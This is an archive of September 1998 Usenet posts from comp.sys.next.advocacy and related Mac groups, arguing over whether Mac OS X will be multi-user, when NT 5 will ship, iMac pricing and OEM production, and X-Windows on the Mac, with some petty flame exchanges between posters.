and White Pine's eXodus. I would not be surprised if they ported
over to Rhapsody.
I didn't mean this last bit to sound like "let them eat cake". I'm
more concerned that the 99 percent of Mac/Rhapsody users who could
care less about X-Windows have it foisted upon them because of a
small number of people with pretty esoteric requirements.
I'm trying to present a [I admit a little extreme] viewpoint.
Suppose you were to go to your friendly local Mac store and stand
by the iMac display, and ask every actual and potential buyer
whether the existence or otherwise of X-Windows on the iMac would
make a difference to their purchase decision. Now, how many blank
looks do you think you would get? Hell, if I went up to the local
ComputerWare [an ordeal that for me is exceeded only by going to
Frys] and asked any of the *staff* about X-Windows for Mac, I know
that they'd get *that look* on their faces --- you know the look,
it's the one that reads, "let's try to get this guy out of here
before he starts swinging his axe".
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
References: <6u3f47$3nb$1@schbbs.mot.com> <360571EA.7CBACC53@trilithon.com> <6u5827$c13$1@schbbs.mot.com> <3606F3F8.D2B36795@trilithon.com> <6u7q79$f1j$1@schbbs.mot.com>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <3607d0da.0@nnrp1.news.uk.psi.net>
Date: 22 Sep 98 16:31:22 GMT
"Stephen Totten" <stephent@comm.mot.com> wrote:
>
>In my original post I was referring to MacOS X, not MacOS X Server. I don't
>know how Apple are going to manager user accounts with this, but it was my
>impresion that it was going to be primarily a single user OS. If this is the
>case then everyone would be logged in as root. I don't have any facts about
>this either :-), so if you know that OS X (not server) is going to be
>multi-user, than your point is very valid...
Well - Apple would have to be totally insane to make MacOS-X single-user ...
So I guess we'd better start worrying :-)
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Tue, 22 Sep 1998 10:31:54 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6u8naq$s95$1@birch.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net> <Josh.McKee-1909982157120001@166-93-57-197.rmi.net> <6u24rn$mu3$1@birch.prod.itd.earthlink.net> <Josh.McKee-2009980954380001@166-93-82-37.rmi.net> <6u3hb2$9sn$1@holly.prod.itd.earthlink.net> <Josh.McKee-2109981713200001@166-93-57-171.rmi.net>
Joshua T. McKee wrote in message ...
>In article <6u3hb2$9sn$1@holly.prod.itd.earthlink.net>, "Todd Arneson"
><s124@[REMOVE]earthlink.net> wrote:
>
>> Joshua T. McKee wrote in message ...
>> >In article <6u24rn$mu3$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
>> ><s124@[REMOVE]earthlink.net> wrote:
>
>> >> Wow, hard hitting insults. What next, are you going to call me a clown
>> >> just like you buddy Derek? BAHAHAHA!
>> >
>> >
>> >Hard hitting insults? Calling you dumb is a hard hitting insult? If I
>> >had to classify it as an insult, I would consider it rather weak.
However
>> >it was an observation. You clearly have demonstrated that you aren't
very
>> >intelligent.
>>
>>
>> ARE YOU STUPID OR WHAT?!?!?!? Ever hear of SARCASIM?!?!?!?!? I guess I
>> better but this line in every post if I use sarcasm:
>
>
>I see nothing in your message that even hints at sarcasm. This is an
>attempt to change an insult into more of an insult. Nice try.
Ahhh yes another poster boy for the click-and-drool interface (cadi).
I'd looooovvvveeee to continue this battle of wits with you but I see you
are unarmed.
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: Steve <nospam@nospam!.kom>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Tue, 22 Sep 1998 13:37:14 -0400
Organization: nospam
Message-ID: <6u8ni2$6iu$1@charm.magnus.acs.ohio-state.edu>
References: <6u6fpo$jq3@newsb.netnews.att.com> <jpolaski-2109982033530001@d150-184.ce.mediaone.net> <36070f78.1005082@nntp.service.ohio-state.edu> <jpolaski-2209981148490001@poolf5-040.wwa.com>
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Jim Polaski wrote:
> In article <36070f78.1005082@nntp.service.ohio-state.edu>,
> nospam@nospam!.kom (Steve) wrote:
>
> > On Mon, 21 Sep 1998 20:33:53 -0600, jpolaski@NO.wwa.com (Jim Polaski)
> > wrote:
> >
> > >In article <6u6fpo$jq3@newsb.netnews.att.com>,
> > >gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> > >
> > >> ZDNet reports that Microsoft may deliver NT 5.0 beta 3 by
> > >> Thanksgiving and NT 5.0 final delivery 12-15 weeks after
> > >> that -- Q1-Q2 1999. This flies in the face of analysts'
> > >> predictions of late 1999 to year 2000 delivery.
> > >>
> > >>
> http://www.zdnet.com/zdnn/stories/zdnn_smgraph_display/0,4436,2139533,00.html
> > >>
> > >> -arun gupta
> > >=======
> > >
> > >OOps..forgot that in todays INfoworld, there was a comment by an IS type
> > >saying he didn't want NT 4.5 either as all that did was raise costs since
> > >he then had to do another installation/migration etc...instead he'd rather
> > >just wait, ....patiently.
> > >
> >
> > That was simply a rhetorical comment because there is no such thing as
> > NT 4.5.
> >
> ======
> Still doesn' t matter though. He WAS saying that IF it did, he would not
> want it due to the cost of implimentation, TWICE, having to do it all over
> when 5 arrives.
>
> How is that so hard to understand?
>
It isn't hard to understand...it's meaningless. Who cares whether someone would or
would not use a product that is not, and will not ever be available?
-Steve
Message-ID: <3607E78F.2556@betabreakers.com>
Date: Tue, 22 Sep 1998 11:08:15 -0700
From: Josiah Fizer <jfizer@betabreakers.com>
Organization: Beta Breakers
MIME-Version: 1.0
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <6ssrdr$q3u$1@ash.prod.itd.earthlink.net> <6u5cmr$jcs$1@nnrp1.dejanews.com> <6u62qo$m6q$1@plo.sierra.com> <6u85bi$ijm$1@nnrp1.dejanews.com>
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Oh yes it does, I bleading well did it.
OWSCR@hotmail.com wrote:
>
> *ahem*
>
> "oh no it doesn't..."
>
> It really doesn't.
>
> v.4.950a
>
> >
> > Sure it does.
> >
> >
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
> http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: mmccullo@nospam.net (Michael McCulloch)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
Date: Tue, 22 Sep 1998 18:07:22 GMT
Organization: ICX Online, Inc.
Message-ID: <3607e62a.15432252@news.icx.net>
References: <6u3f47$3nb$1@schbbs.mot.com> <360571EA.7CBACC53@trilithon.com> <6u5827$c13$1@schbbs.mot.com> <3606F3F8.D2B36795@trilithon.com> <Ezp21u.C7n@T-FCN.Net>
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maury@remove_this.istar.ca (Maury Markowitz) wrote:
> On the other hand I never even got PPP to work under OpenStep.
Well, now I don't feel so stupid. I couldn't get my Omni TA128 ISDN
modem from Zyxel to work under OpenStep either.
Any luck with the 3rd party PPP for DR2? Does it work on Intel hw?
Michael
From: chrisj@airwindows.com (Chris Johnson)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Message-ID: <chrisj-2209981528220001@usr1a15.bratt.sover.net>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net> <6u12g9$3f3$1@ash.prod.itd.earthlink.net> <36074e77.39113826@news.alt.net> <6u1lfo$snd$1@birch.prod.itd.earthlink.net> <don.brown-1909982319020001@dsm-ia1-02.ix.netcom.com> <6u24bb$m92$1@birch.prod.itd.earthlink.net> <Josh.McKee-2009981011040001@166-93-82-37.rmi.net>
Organization: Airwindows
NNTP-Posting-Date: Tue, 22 Sep 1998 15:26:41 EDT
Date: Tue, 22 Sep 1998 15:28:21 -0400
In article <Josh.McKee-2009981011040001@166-93-82-37.rmi.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> In article <6u24bb$m92$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
> <s124@[REMOVE]earthlink.net> wrote:
> > FACT: DR-DOS on a 286 will NOT crash as much as the iMac.
> Evidence to support this "fact" please.
> Josh
Easy. I actually find this extremely credible and believable.
The iMac, due to MS-induced pressure to add feature bloat and some
_bad_ associations (MS itself, who knows what else?) comes preloaded with
a really heavy software load. This includes stuff that loads up the system
folder and system heap at all times (again, MS stuff is particularly noted
for this). If I got an iMac (instead I got a 9500 for less than a grand
with 64M of ram), the first thing I would do is go through the system
folder and clean it the hell out, as I flat guarantee there is garbage
there that is causing problems. It's there for political reasons- some
marketing drone insisted on IE/Office/god knows what- there _are_ other
vendors that do this and the iMac, like I said, is heavily loaded with
software.
Conversely, he never said the DR-DOS machine actually had any
applications software :)
With this in mind, his argument is irrefutable! And I recommend iMac
users learn what they can discard to clean up their systems.
Chris Johnson
@airwindows.com
chrisj
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Tue, 22 Sep 1998 19:16:15 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6u8t1u$c9v$1@nnrp1.dejanews.com>
References: <6u6fpo$jq3@newsb.netnews.att.com> <jpolaski-2109982032190001@d150-184.ce.mediaone.net> <libra-2109982353010001@h24-65-33-83.rd.wave.shaw.ca> <6u88v3$lsb$1@nnrp1.dejanews.com> <3607C5DE.715B7989@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
> spagiola@my-dejanews.com wrote:
> > > Hey who cares if NT 5 is on time?
> >
> > Well, Mmalcolm Crawford and Michael Peck do, since they have a bet riding on
> > it.
>
> That's not really true; our wager concerns shipment of Rhapsody more
> than shipment of Windows NT 5.0.
Well, IIRC one of the bets was "Rhapsody ships before NT5". That being the
case, I would imagine that you cared when NT5 ships.
> Personally, I'd love to see both
> Rhapsody and Windows NT ship as soon as possible; I think it's rather
> silly to feel otherwise, but that's just my opinion.
Well, speaking only for myself, I'd like to see Rhapsody/Mac OS X Server ship
as soon as possible because as a long-time NeXTSTEP user I'd love to be able
to run the same basic OS on much faster hardware. I also would like to see
MOSXserver succeed, because I think it's much better technology than any
flavor of NT. If NT5 shipping late increases the chances of MOSX succeeding,
then I do hope NT5 ships late. Call that silly if you like.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: <webmaster@ebay.com>
Newsgroups: comp.sys.next.advocacy
Subject: Titan
Date: 22 Sep 1998 11:50:22 GMT
Organization: The University of Oklahoma (USA)
Message-ID: <6u82tu$d13$3516@artemis.backbone.ou.edu>
ines: 13
Message-ID: <AuTN1.23$u27.141308@news.san.rr.com>
Date: Tue, 22 Sep 1998 20:10:08 GMT
NNTP-Posting-Host: 204.210.61.94
NNTP-Posting-Date: Tue, 22 Sep 1998 13:10:08 PDT
Xref: news.informatik.uni-muenchen.de comp.sys.next.advocacy:111633
I am currently running MacOS 8.1 and I'm very interested in exploring MacOS
X Server when it comes out. My question is, can I upgrade my 7500/100 ( 601
chip ) to a 604e chip and run MacOS X Server?
I am saving my pennies to buy a G3/G4 ( wow-wee! ) to get ready for MacOS X
next year so I don't want go the route of a G3 upgrade card. Can someone
tell me what is the minimum hardware configuration I can get by with, which
would allow me to run Rhapsody...er I mean MacOS X Server?
Thank you in advance!
William V. Campbell Jr.
Country Liv'n
wcampbe1@san.rr.com
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 22 Sep 1998 21:18:28 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6u9475$61t@news1.panix.com>
References: <6u3qjp$duv@news1.panix.com> <edewEznCxB.G37@netcom.com> <6u8ih3$mf@news1.panix.com> <edewEzp8Iz.3Jr@netcom.com>
On Tue, 22 Sep 1998 18:54:34 GMT, Eric Dew <edew@netcom.com> wrote:
>>Techweb, CNET and Ziff Davis all have reported that the fastest area
>>of growth has been in sub 1k machines.
>So why is Dell no shipping the sub $1K machines?
Dell doesn't have a consumer line. Can you name any company with a consumer
line that doesn't have a $1k machine?
> What is your thrill about
>sub $1K machines?
It isn't _my thrill_. It is one of the fastest growing areas of the market,
and I think Apple should be selling to that market.
>Look at GM...they're trying to sell as many $40K SUVs
>as they can, rather than their cheapie $10-20K cars. Why? Because people
>like them. Do you think they're going to drop prices on those things?
When have I said that Apple shouldn't be selling high end hardware? GM has
its $40k SUVs and it $10->15k GEO line, its $15->20k Saturn line and Trucks,
Minivans and what have you.
In that same way, Apple should have its high end $1.5->5k line and its low
cost line. Apple even subdivides these lines down to "good, better, best"
models. I see no reason why there couldn't (or shouldn't) be good, better
and best iMacs.
>>In some markets yes, but I have yet to see anything in the _consumer_ market
>>that didn't ship in larger numbers after a price drop.
>You must not have looked much. Also everything in the consumer market
>work this way. Would people buy $2 knock-offs of beanie babies or the
>real thing at whatever outrageous price they're selling it at?
Funny you should mention beanie babies. I read an article on Ty and one of
the things they've done to catch up with the demand of beanie babies has
been to outsource parts of the production. They wanted to fulfill demand to
avoid making the "$2 knock-offs" more attractive.
> Would
>people buy Safeway Select cola at $0.10 cheaper than the REAL THING (tm)
>coke?
Some would. Now, how many people would buy Safeway Select cola if the REAL
THING cost the same? Much less. Maybe none.
>>OEM agreements do not incur high capital costs. An OEM has a factory, people
>>and the machines needed to build the product. You are simply letting the
>Yes, I suppose OEMing the thing could skip the high capital costs. But
>still, it ain't free for Apple to do so.
Well there is tool&die costs, having Apple managers oversee the production
and the Q&A costs. While not free, they are not that big a deal. And IMHO,
they cost less than giving up sales that might be lost.
>No argument here, although I believe you did once say that Apple should build
>more (without clarifying that they should do it through OEMs).
I might have, but I am pretty sure that I've been advocating OEMing of the
iMac from the moment that the hype started. BTW, if you look up my posts from
June and July, I felt that the iMac would not be anywhere as successful as it
is turning out to be. I think I used the term "mediocre to moderate success"
>>> and have no
>>>solid evidence that the yield is larger market share?
>>There is ample precedent.
>Not for a new product supposedly made to be DIFFERENT from the rest.
Super Nintendo? Sega? Sony Playstation? All of them have tried to underprice
each other to build market.
>>You have it backwards. First increase production by signing OEM agreements,
>>then after increased production works to lower overall cost per unit drop
>>prices.
>The steps may be in your direction, but the decision has to go first on
>whether to increase production and making the commitment on OEMs and such.
True. But since OEM production costs might be less (and in some cases, much
less) and since Apple is still selling them as fast as they can build them,
the OEM agreements would be a good way to free up internal Apple production
for other Apple products will higher margins.
>>Not true. Are you familiar with "the economies of scale"? The more of an
>>item you build, the lower the per unit costs.
>I am very familiar with the concept of economies of scale. What I am alluding
>to is that if Apple is already at max production, for them to produce more
>will require fixed and per-unit costs (if they don't go the OEM route).
>You must agree with this, no?
I do. That is why I mentioned OEMing.
>>>plus intangibles for maintaining price line.
>Intangibles are the most important part of making strategic decisions. What
>is the worth of the Apple name?
An OEM machine is still an Apple.
> What is the perception of Apple by the
>market?
An OEMed iMac would still look like a gumdrop. There is no law about OEM
machines having to be beige.
> If the perception by the market is that Apple represents a solid
>product with every item in it made by Apple, then OEMing the iMac is suicide.
Can you point to any studies that suggest that OEMed equipment is not as
high a quality as Apple produced equipment? OEMed HP printers have not killed
HPs reputation.
>>I don't follow this logic. The demand for $1299 iMacs will drop over time, and
>>quickly, as the competition works to provide products marketed the same way.
>Not if Apple positions itself properly. I don't see prices for Rolls Royces
>dropping over time.
Keep in mind that BMW, Porsche and Mercedes all have "entry level" cars. The
$30k Three series doesn't dilute the value of the $80 Five series. And BMW is
planning to go head to head with Honda when they introduce the new BMW2002
>People who can use a $499 knockoff of the iMac will use the $1.3K iMac because
>of the intangibles. Apple needs to nurture and grow that position.
A $999 (or even $799) iMac might woo a fair number of bargain basement
shoppers away from $500->700 knockoffs, especially if they look as cheap as
most sub $1k machines look.
>But the iMac is NOT like any other consumer product.
Yes it is. Making it blue doesn't free it from the laws of economics.
>positioning it as YACP to put in your house.
Did you see the "three easy steps to the internet ad" of the "unPC ad"? They
aren't selling it as a flower vase, they are selling it as _the_ YACP you
should have.
> Look at the ads: "Sorry no
>beige", (and others I can't recall at the moment). They're being different in
>the same way the current VW beetle is trying to be different.
Apple is not a religion. Slick marketing doesn't make the iMac a tin god.
>>> The proper way to decide is based on good decision analytic
>>>practice.
>>And where do you get your data for those analytics? Do you pull them out of
>>thin air, or do you go back and look at systems that worked in the past?
>Well, to a degree, you might model a new system on similar systems of the
>past.
That was my point. The historical evidence clearly supports my view.
> What decision analysis do is to apply uncertainties in areas where
>differences occur. Where do the probabilities come from? Well, probabilities
>are opinions, so they come from experts, and the technique for extracting
>the probabilities is important, which distingushes this management consulting
>firm from many others.
That brings us to that big grey area between analysis and speculation :)
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: A prediction
Message-ID: <edewEzp8Iz.3Jr@netcom.com>
Sender: edew@netcom4.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6u3qjp$duv@news1.panix.com> <edewEznCxB.G37@netcom.com> <6u8ih3$mf@news1.panix.com>
Date: Tue, 22 Sep 1998 18:54:34 GMT
In article <6u8ih3$mf@news1.panix.com> sal@panix.com writes:
>On Mon, 21 Sep 1998 18:34:22 GMT, Eric Dew <edew@netcom.com> wrote:
>>>The $1299 market is smaller than the $999 market.
>>But there's no evidence of that, since all $1299 iMacs are being sold.
>
>Techweb, CNET and Ziff Davis all have reported that the fastest area
>of growth has been in sub 1k machines.
>
So why is Dell no shipping the sub $1K machines? What is your thrill about
sub $1K machines? Look at GM...they're trying to sell as many $40K SUVs
as they can, rather than their cheapie $10-20K cars. Why? Because people
like them. Do you think they're going to drop prices on those things?
>> Until
>>you have some machines gathering dust, you have no evidence of the fact that
>>a $1299 iMac market is smaller than a $999 iMac market.
>
>There is also no evidence that the $1299 market isn't smaller than the $999
>market. But there is ample precedent for price drops increasing demand.
>
>> Yes, it sounds
>>paradoxical, but many companies have realized that lowering prices do not
>>equate with increased demand, and sometimes, lowering prices actually
>>suppresses demand.
>
>In some markets yes, but I have yet to see anything in the _consumer_ market
>that didn't ship in larger numbers after a price drop.
>
You must not have looked much. Also everything in the consumer market
work this way. Would people buy $2 knock-offs of beanie babies or the
real thing at whatever outrageous price they're selling it at? Would
people buy Safeway Select cola at $0.10 cheaper than the REAL THING (tm)
coke?
Sure, sales occur where a large number of items sell out. This usually
occurs in clothing industries where there is a HUGE overstock of inventory
and must be moved out. But it is because the inventory was gathering
dust and not because they're selling like hotcakes.
>OEM agreements do not incur high capital costs. An OEM has a factory, people
>and the machines needed to build the product. You are simply letting the
>OEM build iMacs rather than PCs. (Compaq, HP and Packard Bell all use OEMs
>for consumer products.)
>
Yes, I suppose OEMing the thing could skip the high capital costs. But
still, it ain't free for Apple to do so.
>> You want
>>Apple to make computers at $999. You claimed that costs are fixed, but by
>>your reckoning, it won't be.
>
>OEM agreements are different then Apple building factories.
>
No argument here, although I believe you did once say that Apple should build
more (without clarifying that they should do it through OEMs).
>> So, why decrease revenue (by dropping the
>>revenue/unit by $300, which is, what, around 23% or so?), increase cost
>>(by hiring more workers, putting in additional factories, etc.),
>
>Companies that OEM have more production capacity than products to produce,
>so they sell that surplus production capacity. They tend to work on very
>slim margins, since they only produce products, they don't design or
>market them.
>
>Apple would agree to buy X iMacs from the OEM at $Z per unit. Apple can
>then resell them at $M dollars.
>
>> and have no
>>solid evidence that the yield is larger market share?
>
>There is ample precedent.
>
Not for a new product supposedly made to be DIFFERENT from the rest.
>>Let's do a simple decision analysis here. Decision: drop prices to $999,
>>increase production so that gross revenue is constant (i.e., produce more,
>>hoping that all will be bought so that revenue will match current rate of
>>units sold X $1299 price tag).
>
>You have it backwards. First increase production by signing OEM agreements,
>then after increased production works to lower overall cost per unit drop
>prices.
>
The steps may be in your direction, but the decision has to go first on
whether to increase production and making the commitment on OEMs and such.
>>Uncertainties: people will buy $999 machines at just as fervently as they
>>buy the $1299 machines currently.
>
>Again, there is ample precedent that price drops increase demand.
>
Mark Twain wrote a cute little short story about four artist-painter friends
who couldn't sell their works for pennies to the dollar (of effort). They
devised a little marketing scheme (claiming the master has died and there
are no more of his paintings), then sold a bunch of studies and sketches
at 100X previous costs. THAT'S Marketing and that's what Apple should aspire
to be, not just another (beige) computer maker.
>>Certainties: lower revenue/unit,
>
>True; but, selling 50% more units at $999 would generate greater overall
>revenues.
>
And what is the probabilities of selling 50% more units?
>>additional fixed and per-unit cost (due
>>to more workers)
>
>Not true. Are you familiar with "the economies of scale"? The more of an
>item you build, the lower the per unit costs.
>
I am very familiar with the concept of economies of scale. What I am alluding
to is that if Apple is already at max production, for them to produce more
will require fixed and per-unit costs (if they don't go the OEM route).
You must agree with this, no?
>>plus intangibles for maintaining price line.
>
>Huh?
>
Intangibles are the most important part of making strategic decisions. What
is the worth of the Apple name? What is the perception of Apple by the
market? If the perception by the market is that Apple represents a solid
product with every item in it made by Apple, then OEMing the iMac is suicide.
Never underestimate the intangibles, because they are often the factors
that swing $100M one way or another.
>>Future prospects: Current revenues minus costs for doing nothing different
>>from now, or increase/decrease in revenue minus (likely increase in) cost plus
>>intangible of possibly increasing market size minus intangible of possible
>>decreasing market size
>
>I don't follow this logic. The demand for $1299 iMacs will drop over time, and
>quickly, as the competition works to provide products marketed the same way.
>
Not if Apple positions itself properly. I don't see prices for Rolls Royces
dropping over time. I do see prices for Ford Escorts dropping over time.
Why? Because Rolls (well, now that's it's owned partly by VW, it may lose
value) has intangible value to the owner. People who could just as well
get around town in an Escort drive a Rolls because of the intangibles.
People who can use a $499 knockoff of the iMac will use the $1.3K iMac because
of the intangibles. Apple needs to nurture and grow that position.
>Should Apple lead market changes, or react to them?
>
>> (who knows how the market will react to a drop in
>>price?).
>
>If the iMac is anything like every other consumer product, the market will
>buy more of them.
>
But the iMac is NOT like any other consumer product. Yeah, it is the first
consumer product from Apple in a long time, but they are definitely not
positioning it as YACP to put in your house. Look at the ads: "Sorry no
beige", (and others I can't recall at the moment). They're being different in
the same way the current VW beetle is trying to be different.
>>>I have yet to see a company that did not use historical data to predict future
>>>performance.
>>A management consultant acquaintance tells me that looking at historical data
>>to predict the future is like steering a car in a curvy road by looking at the
>>rear view mirror.
>
>That's just one of those things they say.
>
It's also their niche as a consulting firm.
>> The proper way to decide is based on good decision analytic
>>practice.
>
>And where do you get your data for those analytics? Do you pull them out of
>thin air, or do you go back and look at systems that worked in the past?
>
Well, to a degree, you might model a new system on similar systems of the
past. What decision analysis do is to apply uncertainties in areas where
differences occur. Where do the probabilities come from? Well, probabilities
are opinions, so they come from experts, and the technique for extracting
the probabilities is important, which distingushes this management consulting
firm from many others.
EDEW
From: chrisj@airwindows.com (Chris Johnson)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Message-ID: <chrisj-2209981516360001@usr1a15.bratt.sover.net>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net> <6u12g9$3f3$1@ash.prod.itd.earthlink.net> <36074e77.39113826@news.alt.net> <6u1lfo$snd$1@birch.prod.itd.earthlink.net>
Organization: Airwindows
NNTP-Posting-Date: Tue, 22 Sep 1998 15:14:54 EDT
Date: Tue, 22 Sep 1998 15:16:35 -0400
In article <6u1lfo$snd$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
> I'll tell you something too, I'd rather have a 286 running DR-DOS than a
> PowerPC G3 233MHz running MacOS.
Then you are a loony :)
Chris Johnson (well, he is)
@airwindows.com
chrisj
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
Date: 22 Sep 1998 21:49:34 GMT
Organization: Michigan State University
Message-ID: <6u961e$e9c$2@msunews.cl.msu.edu>
References: <6u7q79$f1j$1@schbbs.mot.com> <19980922105025.01295.00000008@ng79.aol.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: willadams@aol.com
In <19980922105025.01295.00000008@ng79.aol.com> WillAdams wrote:
>
> Steve said:
> In my original post I was referring to MacOS X, not MacOS X Server. I don't
> know how Apple are going to manager user accounts with this, but it was my
> impresion that it was going to be primarily a single user OS. If this is the
> case then everyone would be logged in as root. I don't have any facts about
> this either :-), so if you know that OS X (not server) is going to be
> multi-user, than your point is very valid...
>
> - Steve
>
> How can one keep an OS with Unix underpinnings from being inherently
> multi-user?
>
> To add to what others have said, the current default under NeXT/OPENstep is
> that if the default (me?) user account doesn't have a password, it's
> automatically logged into at boot time, with various contortions being
> necessary to access the root account. Safe, simple, elegant, and proof against
> all but the most obstinate of fools.
>
> William
>
Be careful a bit about me. Under NeXTstep and Openstep me were included
in the 'wheel' and 'staff' groups so one in principle could do a lot more with the me
account than with a normal user account in group 'other'.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Tue, 22 Sep 1998 16:52:03 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2209981652040001@166.93.82.135>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net> <Josh.McKee-1909982157120001@166-93-57-197.rmi.net> <6u24rn$mu3$1@birch.prod.itd.earthlink.net> <Josh.McKee-2009980954380001@166-93-82-37.rmi.net> <6u3hb2$9sn$1@holly.prod.itd.earthlink.net> <Josh.McKee-2109981713200001@166-93-57-171.rmi.net> <6u6qrq$6a2$1@nntp2.ba.best.com>
NNTP-Posting-Date: 22 Sep 1998 22:49:31 GMT
In article <6u6qrq$6a2$1@nntp2.ba.best.com>, "Lower Wolf"
<wolf@nospam.com> wrote:
> Joshua T. McKee wrote in message ...
> >I see nothing in your message that even hints at sarcasm. This is an
> >attempt to change an insult into more of an insult. Nice try.
> I'm not involved here... but I couldn't help but notice. No offense, Josh,
> but that's really blaringly obvious sarcasm.
Then I must be dumb then as I cannot see it, especially if it is
"blaringly". So could you help me and point out the obvious for which I
cannot see. Here is what he said:
"Wow, hard hitting insults. What next, are you going to call me a clown
just like you buddy Derek? BAHAHAHA!"
Again, I do not see anything sarcastic there, unless the reference to
Derek is somehow meant to me something to me, which it doesn't.
Josh
Message-ID: <360831C3.D9DAC82F@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Multiple Users (was: Worried about MacOS X)
References: <6u7q79$f1j$1@schbbs.mot.com> <19980922105025.01295.00000008@ng79.aol.com> <6u961e$e9c$2@msunews.cl.msu.edu>
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Date: Tue, 22 Sep 1998 16:24:51 -0700
